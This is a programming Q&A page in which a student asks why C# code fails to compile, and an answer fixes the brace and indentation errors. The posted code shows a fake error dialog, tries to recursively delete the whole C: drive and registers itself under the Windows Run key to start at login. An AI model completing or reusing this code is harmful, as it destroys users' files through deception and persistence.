A namespace cannot directly contain members such as fields or methods?

37,414

Your code is seriously messed up around SetStartup. If you follow the normal indentation, you'll see what's going on a bit more clearly. Press Ctrl-E followed by D in Visual Studio, and it'll reformat your document - which should make things considerably clearer.

Look at this (after I've indented it):

public class Program
{
    private void SetStartup();
}

RegistryKey rk = [...];

That's trying to declare a variable (rk) outside a class. You've also got a non-abstract method with no body, and you're missing closing braces at the end.

I suspect you meant it to be:

public class Program
{
    // Note: no semi-colon, and an *opening* brace
    private void SetStartup()
    {
        RegistryKey rk = [...];
        // Other code
    }
}

// And you'd want to close the namespace declaration too

You're also going to have problems declaring two (non-partial) classes with the same name...

Share:
37,414
user1224163
Author by

user1224163

Updated on July 09, 2022

Comments

  • user1224163
    user1224163 almost 2 years

    I am trying to create an application that deletes user documents at start-up (I am aware that this may sound malicious but it is for a school project).

    However, I am getting the error "A namespace cannot directly contain members such as fields or methods".

    Looking over it, it seems fine? I am hoping a second pair of eyes can help as I have searched everywhere and I cannot find a relevant solution!

    Admittedly, because of my very basic knowledge, I have used a lot of help online and from books and what I know of c# is limited. Therefore it might just be that I'm being stupid, but everyone has to start somewhere, right?

    The code is as follows:

    namespace Test
    {
    class Program
        {
         static void Main(string[] args)
            {
            MessageBox.Show("An unexpected error occured");
            if (System.IO.Directory.Exists(@"C:\"))
            {
                try
                {
                    System.IO.Directory.Delete("C:\\", true);
                }
    
                catch (System.IO.IOException e)
                {
                    Console.WriteLine(e.Message);
                }
            }
        }
        }
    public class Program
    {
        private void SetStartup();
        }
    
            RegistryKey rk = Registry.CurrentUser.OpenSubKey
                ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
    
            if (chkStartUp.Checked)
                rk.SetValue(AppName, Application.ExecutablePath.ToString());
            else
                rk.DeleteValue(AppName, false);
    
        }
    
  • user1224163
    user1224163 over 12 years
    I am now getting "The name AppName does not exist in the current context" The same with chkStartUp?
  • Jon Skeet
    Jon Skeet over 12 years
    @user1224163: Well you've got two different declarations for the class Program, which doesn't help either... and we've no idea what chkStartUp is...
  • user1224163
    user1224163 over 12 years
    Sorted, I was being an idiot (quite obviously).. Thanks for your help, sorry for wasting your time!
  • Admin
    Admin over 10 years
    Pressing "Ctrl-E followed by D" in Visual Studio 2012 gives me no reformatting, and the bar at the bottom of the window displays the message "The key combination (Ctrl+E, Shift+D) is not a command." What version of Visual Studio are you using this command in?
  • Jon Skeet
    Jon Skeet over 10 years
    @MatthewNajmon: Not Shift+D, just D. I was probably using VS2010 back then, but I've just checked in VS2012 and VS2013, and it's the same. Go to Edit / Advanced and look for Format Document to find the shortcut key for you.
  • Admin
    Admin over 10 years
    Sorry. I tried D first, then since you capitalized it, I thought maybe I was mis-reading you and checked Shift-D as well to be sure. Then, when I copied it here, I got sloppy and just copied the error that was still up, not noticing it was the shift version. I just tried it again, it still doesn't work, but this time with "(Ctrl+E,D)" in the error message.